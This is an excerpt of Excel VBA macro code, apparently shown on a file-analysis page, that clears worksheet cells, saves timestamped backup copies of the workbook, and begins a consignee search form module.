'    Selection.ClearContents
        'Change the active cell
    Worksheets(cIppanSheet).Cells(5, 1).Select
    '
    'Main Sheet
    Sheets("Main").Select
    Worksheets("Main").Cells(3, 3).Value = ""
    Worksheets("Main").Cells(3, 3).Select
    '
    'System Sheet Clear
    Worksheets("SystemIni").Cells(1, 11).Value = ""
    Worksheets("SystemIni").Cells(2, 11).Value = ""
    '
    '
    'Excel Save
    sTkn = Format(Now, "YYYYMMDDhhmmss") & ".xls"
    ActiveWorkbook.SaveAs sSavPath & "B" & sTkn
    ActiveWorkbook.SaveAs sSavPath & sOrgBkNam
    FileCopy sSavPath & "B" & sTkn, sOrgPath & "B" & sTkn
    Kill sSavPath & "B" & sTkn
    '/////2005/12/08 ActiveWorkbook.SaveAs sSavPath & sExcelNam
    '
End Sub


Attribute VB_Name = "FrmConsignee"
Attribute VB_Base = "0{1B6B8C3D-E8FF-4970-9862-3213A2516790}{BC4288F2-22E1-46DD-8351-DA5FE2B429C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Option Explicit

Dim LDataCnt As Long

Private Sub CmdSearchOrg_Click()
    '
    Application.Cursor = xlWait

    Call Sub_SetListOrg
    
    Application.Cursor = xlNormal
    '
End Sub

Private Sub CmdSearch_Click()
…

Open this report in the interactive analyzer, or submit your own file for analysis.